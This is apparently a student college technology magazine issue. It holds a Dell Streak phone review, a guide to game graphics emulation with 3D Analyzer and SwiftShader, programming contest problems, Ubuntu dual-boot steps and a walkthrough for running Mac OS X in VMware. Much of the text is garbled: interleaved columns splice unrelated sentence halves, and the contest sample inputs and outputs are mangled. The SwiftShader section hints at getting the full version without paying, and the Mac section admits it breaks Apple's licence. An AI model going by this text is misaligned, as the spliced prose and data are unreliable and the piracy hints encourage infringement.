Video recorded is of VGA quality and has all of the applicable options, including the ability to switch between MPEG-4 and H.263 capture, the detailing in Videos is you may type based on the previous word. Butstill not that good compared to likes of Galaxy S & HD the keyboard seems to be inaccurate while tying fast 7.Videos can be uploaded to YouTube easily. on this side of EVO 4G or IPad. Heres where the flexibility of Android is nice. You can increase your typing speed by installing an app swift Key. The Streak's fullsized email widget sits comfortably in one of your Rooms, updating live and enabling you to scroll through the most recent 25 messages. All in all, it's a fine gadget for email, and everything is done with tremendous speed.

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Another ace in the hole that it has and IPad misses is into each other. But the phone falls short of the media the front-loaded VGA webcam, which will enable video experience given by Galaxy Tab or Playbook conferencing once a compatible application appears in the Android Market.

PC Sync

The Streak comes with the Dell PC Suite (stored on the devices Micro SD card) for synchronizing the Streak Interface for Media playback is nice,intelligent and the with Windows PCs and for backing up the Streak. You 'now playing' widget for the Homescreen is a handy can synchronize contacts, calendar entries, tasks, and way to carry on controlling music while working in notes between the Streak and Outlook. You can set other areas of the phone.Video playback also looks conflict and delete policies, and even set the Streak to great on the Streaks bright and crisp display. Audio automatically sync whenever it attaches to your PC. sounds clear and can get surprisingly loud, coming out the speaker on the bottom of the deviceeven when Connectivity the Streak is laying flat on a surface. As you would Dell Streak has everythingone'd expect from a modern expect from such a small speaker, there is no bass smartphone here, with HSDPA as well as EDGE and response at all. GPRS for on-the-go mobile broadband. Wi-Fi is naturally on-board, with 802.11b/g connectivity maintaining signal exceedingly well and yielding some super-fast browsing, working in tandem with the 1GHz processor. Bluetooth 2.0+EDR also features and, like the Wi-Fi and GPS settings, is accessible from the handy connectivity bar on the Homescreen.The GPS is also useful for geo-tagging pictures too.

Media

Playlists can be created quite easily and there is a Cover Flow-like interface. Skipping album or playlist tracks is possible from the Homescreen. Tracks can be downloaded directly to the device via Wi-Fi and 3G using the Amazon MP3 app. Boasting a 480 X 800 res. details look crisp and support for WMV is an added bonus.

Battery

Behind the back cover is a 5.661 Whr (1530mAh @ 3.7V) removable battery. Thats 2.9% larger than the EVO 4Gs battery and 7.7% larger than what you get in the iPhone 4.Overall battery life on the Streak is very good. In 3G web browsing battery life its second to only the iPhone 4 and in Wi-Fi it gets ahead of IPhone Viewing photo albums is also a pleasant experience, 4.It does commendable job in video playback too with a 2Mbps H.264 stream running continuously for 6 hours with pictures rendering quickly even when zooming and 47 minutes. You could use the Streak all day within.The slideshow setting is a handy feature, moving and scanning around pictures nicely as they transition out having to charge it again.

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been specifically designed for the Dell Streak and feature live updates as well as the ability to update your Google's turn-by-turn voicenavigation (and that too free) plus a 5-inch screen equals a stand-alone sat- status with a single touch. Other notable Apps are the nav device of considerable note, and is another reason YouTube App and the Exchange Server App. Dell Stake though lags in the manufacturers widget outside of to opt for this device over other tablets and smartAndroid Market like MotoBlur and HTC Sense UI. phones. It's a brilliant application that utilises the Streak's built-in compass and GPS to guide you to your destination.It's easy to add layers to the basic

Maps

Benchmark Tests
The first two benchmark tests used are for Android map view, like the satellite maps as well as traffic, devices. parking and gas station information and it's easy to switch to Google Street View by double-tapping on the screen. There are various other views, such as street level and helicopter, and voice instructions are as clear as you'd expect from a stand-alone sat-nav device. I there's an awesome deployment of regular old Google Maps on boardalso but Navigation really makes the headlines on the Dell Streak and offers a definite reason to buy this over the iPad.

Apps
It comes preloaded with the useful Apps like Facebook and Twitter and more apps can be purchased from the Android Market. The Android Market improves on a daily basis, with 130,000 promised by the end of the year. The custom Facebook and Twitter widgets are particularly effective, occupying half a Room each, comfortably alongside each other.Both widgets have

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Conclusion
Dell Streak offers user a good media experience with Rich and vibrant screen. It has a Fantastic camera on this side of Sony, Packs an excellent browser better than Safari. Streak has a sleek & attractive design. Dell has made the 1.6 quite good to use with the intuitive interface installed on top of the OS. Google Navigation for free makes this device a winner in navigation category.It packs in a super-fast processor QSD 8250 slower to hummingbird only. There are minor disappointments, such as the poor speakers, under-performing music player, distinct lack of a messaging dictionary and lack of Flash support. If you have your heart set on an iPad then this won't change your mind. Apple's App Store and the multitude of impressive new apps are beyond reproach, notwithstanding its brilliant touchscreen and overall user experience.However, this device can confidently claim to offer greater functionality than most devices, including the iPad. A smartphone, a brilliant camera, a web-savvy tablet PC and a satnav packed into a sleek and sexy package that's still small enough to fit in the pocket. Here is a device that truly bridges the gap between the smartphone and tablet universes and proves, once and for all, that you really don't need both.
-Kamal Joshi COE I , 1st Year

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MAKING IT WORK WITHOUT THAT GRAPHIC CARD

You just got that brand new game, finished installing it and are too excited to try it out after hearing its raving reviews. You launch the game, and BANG!.. all u see is a black screen! Or maybe you hear some sounds but no video. Or worse still you get the error message Video card not compatible.

Neither of the options sound very promising So here is an alternative to this dilemma.-EMULATION!.. Confused? Read on. Emulation refers to the ability of a computer program or electronic device to imitate another program or device. Thats what wikipedia says. Simply put, the function of an emulator is to provide the required functioning of a device(with insufficient resources) with the help of an external device.

Has it ever happened to you? I am sure all you feel then is the frustration of having a useless integrated graph- So basically what a graphics emulator does is provides ics card or sometimes even a primitive dedicated card. for the missing graphical settings using the power of the Central Processing Unit. So how do they really work? Well before we discuss about that lets introduce the So what do you do? Shell a ton of money for a brand new most popular softwares available today for graphics graphics card which may not even be compatible with emulations. your old mother board? Or just let it go and be envious of your friends play the same games with ease?

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3D Analyzer Our savior from Tommti systems - The 3D Analyzer Tool. 3D analyzer was created and refined to overcome limitations posed by modern 3D Games and other Applications on several current mainstream 3D Cards. It sort of Tricks your system into thinking it has a Nvidia, or even ATI graphics card!! So to get started first download the latest stable release of 3D analyzer (simply google it, youll get the link easily). The latest version is 2.36, however it has a minor bug, so it would be better if you use the version 2.26.

It can emulate all the feature of a 3d graphics card like Extract the files and then follow the steps: pixel shader 1.1, 1.4, 2.0, bump maps and many other features. You dont need to worry about not under1. Now Run 3DAnalyze.exe file. standing what these are, you will find out eventually.

2. Press SELECT button, locate and open the main ex- 3. Emulating missing hardware features with 3Decutable program of the game. You need the select the Analyze: Now comes the most challenging part. What to main executable file itself not the shortcut i.e the select do with the huge selection of options in the interface?? the executable file of the game from the directory where it is installed on.

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Well to able to chose the correct ones you need to have 4. The text box VendorID and DeviceID are useful if the a basic idea of what they really do. game won't work again and it will show error message The most important settings are the setting up of the correct pixelshader. A pixel shader is a computation kernel function that computes color and other attributes of each pixel. Pixel shaders range from always unsupported video card.It emulate the video card with outputting the same color, to applying a lighting value, NVidia or ATI Rademon. to doing bump mapping, shadows, specular highlights, Fill the ids according to the device. translucency and other phenomena. They can alter the depth of the pixel (for Z-buffering), or output more than one color if multiple render targets are active. A pixel shader alone cannot produce very complex effects, because it operates only on a single pixel, without knowledge of a scene's geometry. At last click on "RUN" button, then the game will begin; of course correct execution isn't ensured because 3DAnalyze can't perfectly substitute hardware lacks. The following screenshot shows how you can run GTA San Andreas successfully by just having a 128 mb integrated INTEL chipset video card with a modest 1 GB RAM. The settings vary from game to game, so you might have to try out some of the options, the most standard options have already been put in the above screenshot. The other important factor is the TnL (Transform and Lighting) settings. The functions of the other settings can easily be googled but you can run your game without learning about them as well. If you get stuck. Start with your problem -as an example - An error message comes up saying "Your GFX card does not have Pixel shader capibilities" or something to Following are main 3D-Analyze settings to check if you that end. want emulate a DirectX version starting from previous Now, open 3D Analyzer, click Select, go to your exe file. one. THEN, check the following boxes if you have the pixel shader problem:

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'force anisotropic filtering' 'skip pixel shader version 2.0' (or whatever version you decide) However, if the game still doesnt work, check the error message for the problem - chances are it can be changed in 3D Analyzer. e.g. Error message=Problem with textures... to solve, check the 'disable textures'. Once you get the right combination, save your batch file and enjoy the game !J
Some of the popular games that work with 3D Analyzer:*ActofWar:DirectAction *AdventRising *Battlestations:Midway *Black&White2 *BloodRayne2 *BoilingPoint:RoadtoHell *BrothersinArms:RoadtoHill 30 *CaesarIV *CallofCthulhu:DarkCorners oftheEarth *Chaotic *TheChroniclesofNarnia:The Lion,theWitchandtheWard robe *TheChroniclesofRiddick: EscapefromButcherBay *ColinMcRaeRally2005 *CompanyofHeroes *DeusEx:InvisibleWar *DevilMayCry3(Useskippixel shadersoptions,force100Hz, checkperformancemode,force SwTnL;TestedonIntel865on boardgraphics) *Earth2160 *EmpireEarth2 *Eragon *F.E.A.R. *HalfLife2:EpisodeTwo *HeroesofMightandMagicV *JustCause *LegoStarWars: *LordoftheRingsOnline *LordoftheRings:TheReturn oftheKing(RequiredLOTRTex tureFix) *MarcEckosGettingUp:Con tentsUnderPressure *Marvel:UltimateAlliance *MedalofHonor:PacificAs sault *MedievalII:TotalWar *MegaManX8 *MenofValor *NeedforSpeedCarbon *PiratesoftheCaribbean:The LegendofJackSparrow *Portal *PrinceofPersia:TheSandsof Time *Psychonauts *RichardBurnsRally *Roboblitz *SeriousSam2 *SilentHill3 *SilentHunterIII *SniperElite *Spellforce2:ShadowWars *StarWars:RepublicCom mando *Sudeki *TeamFortress2 *TestDriveUnlimited *TheGodfather:TheGame *TheHouseoftheDeadIII *TheMatrix:PathofNeo *Thief:DeadlyShadows *TitanQuest *TocaRaceDriver3 *TomClancysRainbowSix:

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3D Analyzer software is ALSO designed to eliminate costly manual procedures and to automatically add machining operations to CAD(Computer Aidied Design) drawings. Historically, manually generating code was time consuming task. Integration with several 3D CAD applications in conjunction with an easy interface makes 3d Analyzer a strong market leader!!! SWIFTSHADER: SwiftShader is the world's fastest pure software 3D renderer with DirectX 9.0 class features, including support for advanced graphics features such as Shader Model 2.0, predication, floating point rendering, stenciling, and much more. SwiftShader is built to provide the same APIs that developers are already using for their games and applications. This makes it possible to directly integrate SwiftShader into applications without any changes to source code. SwiftShader can renhardware in many cases. How to use it? Compared to 3D analyze it is extremely simple to use. Just download the latest version of swiftshader(v2.01) and extract the files. You will get only the demo version but if you are smart enough, you can get the full version as well. You will get the two DLL files which you just have to put in the same folder as the exe files of the game and launch your game. However the biggest disadvantage is that you might get a very slow frames per second speed but in the new core processers of intel I doubt if that will be a problem anymore. Now you must be wondering, how does it actually work? Well I would advise you to only read the following description if you have good knowledge of the functioning of your computer.The magic behind SwiftShader 2.0's performance is the SwiftASM runtime assembler. Right now, this run-time assembler only supports x86

der games as complex as Half Life 2 or NFS Carbon entirely in software.

architectures with support for SSE, SSE2, and SSE3.

It is the foundation upon which the core rendering features of SwiftShader is built, and it helps reduce the SwiftShader performs between 50 and 100 times faster overhead caused by mispredicted code branches and than Microsoft's Direct3D Reference Rasterizer in cache misses and the like. tests with sample applications and can achieve performance that surpasses low end integrated graphics

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The high-level architecture of SwiftShader looks like this: The software performs a lot of tricks to avoid processor bottlenecks in each phase of the graphics pipeline, from triangle setup and vertex processing to texture sampling and pixel shader processing. It simultaneously uses a modern CPU's SSE and MMX units along with the standard integer pipeline where appropriate, to make sure the CPU is as fully utilized as possible.

I hope this article helped you opened a different aspect of the gaming industry. Watch this space for similar informative articles!!

-Sarvagya Mukhi COE, 2nd year

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Rules and Regulations:1. Only CSI Members are eligible to participate in the competition. 2. Accepted Languages are C/C++(GNU-GCC compiler),Java,Python. 3. The answers to all the problems must be submitted latest by 30thJuly, 2011. 4. The compiler used must be specified in the submission. 5. All solutions to be sent to csi@nsitonline.in 6. Solutions will be presented in the next issue. 7. The winners will be judged on the preferences of memory usage and time taken to solve the problems. 8. Winners and prizes will be notified by email and their names will be published in the next issue. 9. Happy solving!

PROBLEMS:The Zoo Trip

One day N students of Byteland Primary School went on a trip to the zoo. There are M consecutive cages in the zoo numbered from 1 to M. In each cage, there is exactly one animal, whose species is represented by a number from the range 1 to K. After the trip, all of the students told their teacher about their observations during the trip. The story of each of the students is of the form: "The animal in the i-th cage is v1 and the animal in the (i+1)-st cage is v2". However, the teacher knows that there are exactly L liars among her N students. A liar is one who tells the name of at least one of the two animals incorrectly. The teacher herself has made Q guesses. Each guess is of the form: "The animal in the i-th cage is v." In the worst case and best case, how many correct guesses could the teacher have made?

Input

The first line contains the number of test cases (about 10). Each test case has the following form. The first line contains the numbers N, M, K, L and Q (L <= N <= 200, M, K, Q <= 10000). In the next N lines, each line contains three numbers i, v1 and v2 (1 <= i < M, 1 <= v1, v2 <= K). In the last Q lines, each line contains two numbers i and v. Each test case's input is separated by a blank line. Bitn n Bytes Vol 7 38

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Output
For each test case, print in a single line the minumum and the maximum number of correct guesses that the teacher could have made.

Example
Input 2 34514 111 221 322 11 21 31 42 14317 312 11 11 12 12 13 13 13 Output 33 23

Tower Parking
There is a new revolution in the parking lot business: the parking tower. The concept is simple: you drive your car into the elevator at the entrance of the tower, and the elevator and conveyor belts drag the car to an empty parking spot, where the car remains until you pick it up. When you return, the elevator and conveyor belts move your car back to the entrance and you're done. The layout of the tower is simple. There is one central elevator that transports the cars between the different floors. On each floor there is one giant circular conveyor belt on which the cars stand. This belt can move in clockwise and counterclockwise direction. When the elevator arrives on a floor, it becomes part of the belt so that cars can move through it. At the end of the day the tower is usually packed with cars and a lot of people come to pick them up. Customers are processed in a first come first serve order: the elevator is moved to the floor of the first car, the conveyor belt moves the car on the elevator, the elevator is moved down again, and so on. We like to know how long it takes before the last customer gets his car. Moving the elevator one floor 39 Bitn n Bytes Vol 7

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up- or downwards takes 10 seconds and moving a conveyor belt one car in either direction takes 5 seconds. Input On the first line one positive number: the number of testcases, at most 100. After that per testcase: One line with two integers h and l with 1 h 50 and 2 l 50: the height of the parking tower and the length of the conveyor belts. h lines with l integers: the initial placement of the cars. The jth number on the ith line describes the jth position on the ith floor. This number is -1 if the position is empty, and r if the position is occupied by the rth car to pick up. The positive numbers form a consecutive sequence from 1 to the number of cars. The entrance is on the first floor and the elevator (which is initially empty) is in the first position. There is at least one car in the parking tower. Output Per testcase: One line with the number of seconds before the last customer is served. Sample Input
2 15 -1 2 1 -1 3 36 -1 5 6 -1 -1 3 -1 -1 7 -1 2 9 -1 10 4 1 8 -1 25 320

Sample Output

Note:students have to answer the given question keeping in view the deadline.along with the answers you ll have to explain the logic you have used in your program.the most suitable answer would be declared the winner.

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Introduction Ubuntu is a linux distro (linux distribution) based on Debian (another distro). A distro, loosely defined, is a package of applications bundled along with the linux kernel to make a complete GUI based operating system. There are literally thousands of distros available, but Ubuntu is the most famous of them all. This is because the development of Ubuntu is commercially backed by Cannonical Ltd. , headed by Mark Shuttleworth (Mark was the second person ever to go into space in a self-funded mission) Dual Boot Installation #1 First method is to install ubuntu is to install it after windows. This is the preferred method of installing Ubuntu as this replaces Windows bootloader (NTLDR) with ubuntus bootloader GRUB (Grand Unified Bootloader). We need to install Ubuntu after windows, otherwise, when installing windows, NTLDR will replace GRUB, and NTLDR dosent support linux. Ubuntu is a live distro, meaning is does not require installation to run, hence we have 2 ways to go about natively installing ubuntu : #1 Use Live CD provided (download the .iso file from www.ubuntu.com and burn the iso using a suitable software) #2 Use a pen drive. (use sofware such as Fedora USB Installe/UnetBootin to write the CD image to a pen drive....so that we can directly boot from the pen drive) After running the OS, select Install icon from the Ubuntu desktop and follow the on-screen instructions Dual Boot Installation #2 The second method to install Ubuntu is using WUBI (Windows based Ubuntu Installer). This works by creating a disk-image on the hard drive, which can emulate the file-system ubuntu uses(ext3 or ext4). This method uses NTLDR only as a bootloader. The advantage of this method is ease of install and no chance of accidently deleting data as we don't have to bother with partitions and file-systems. The obvious downside is the preformance hit we get because of the extra layer of processing involved (ext file-system to FAT/NTFS conversion). Further, as FAT/NTFS is prone to fragmentation, the preformance of ubuntu gradually tends to decrease.

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To use WUBI : Open wubi (shown in the figure) from the disk or usb.

Ubuntu menu will open up. Select install inside windows. Rest is a standard way of installing. Select drive to install Ubuntu. Enter a username and password for ubuntu account and click on Install.

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After it has finished installing, reboot the PC. And now we will have an option to boot into windows or either ubuntu. As you can see in Uninstall or change a program , ubuntu is installed as application under windows. Note : To change the bootloaders first preference of OS in Windows 7, 1.Go to Start Menu ->Control Panel ->System (Alternately Start Menu ->Right Click on Computer ->Properties)

2.Click on 'Advanced system settings' 3.In the advanced tab, select 'Settings' for Startup & Repair

4..Select the Default Operating System and the timeout before the default OS loads...

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Many computer shoppers have a tendency to buy Mac as they can not only Steps use OS X, but Windows as well. That is one strong adInstall VMware Workstation on your PC with Typical vantage that Macs have in the Mac vs. PC war. Apple Configuration. Upon installation restartyour PC. computers are capable of running Windows, either through Bootcamp or virtual machines. So, why dont we see Windows PCs running OS X? Well, Windows PCs are capable of running OS X. But, it is against Apples licensing agreement to do so. Thus, this article is intended for educational and demonstration purposes only. People who are familiar with virtualization must have heard of the software VMware Workstation. VMware workstation helps in creating a virtual environment for another OS to run.For running parallel OS your CPU Put the Darwin_snow.iso file to drive : C must support Virtualisation which is available since Create a folder Snowy_VM in a drive with lots of Core 2 Duo in Intel & Athlon X2 in AMD. empty space and place your Mac OS X Server 10.6 (experimental).vmx,Mac OS X Server 10.6 For running the OS you must have
VMware Workstation/VMware Player VMware Config file for Mac OS X (Mac OS X Server 10.6 (experimental).vmx) Mac OS X VMware virtual file(Mac OS X Server 10.6 (experimental).vmdk) Mac OS X VMware bios and Metadata files darwin_snow.iso

(experimental ).vmdk& other Mac vmware files in that folder.

Now that you have Workstation 7 installed ,run VMware and choose Open Existing VM or Team Browse to Mac OS X Server 10.6 (experimental).vmxfile and open the file

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Tips n Tricks

From the Mac OS X Server tab in the VMware Workstation window, click the edit virtual machine settings icon. You may adjust the hard drive size, memory, etc, to your liking. Select CD/DVD (IDE) and under the Connection settings, select Use ISO Image File. Click the Browse button and navigate to the Darwin_Snow.iso Now click on Power on this virtual machine and press F8 key. You would see a screen similar to the screenshot placed below Now point your virtual machine to OS X Snow Leopard DVD you have. To do this, right click on CD/DVD option found in lower right most corner of your VMware window and select settings. Mount OS X Snow Leopard DVD on any virtual DVD(I prefer Daemon Tools) drive and select the "Use physical drive" option. Now go back to the screen in step 8 and select c option "BOOT DVD". You should now see OS X boot screen with Apple logo. You should now be at the normal Snow Leopard install screen. Click continue on the first screen that comes up. On the second screen, click the utilities option in the install window and select disk utility. Use disk utility to change the hard drive format type to OS X Extended (Journaled). Exit disk utility and let OS X install completely.

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Upon install of Snow Leopard, your virtual machine will restart. After it restarts you will need to do a couple of things to get into Snow Leopard. Select CD/DVD options, like you did before, and use the Use ISO Image File option. Browse to the Darwin_Snow.iso and select it. Now, upon powering on your virtual machine, it should boot directly into Snow Leopard. You may need to force a couple of restarts until Snow Leopard loads correctly for the first time. After it does, adjust your settings from within Snow Leopard, save, and you should be good to go.

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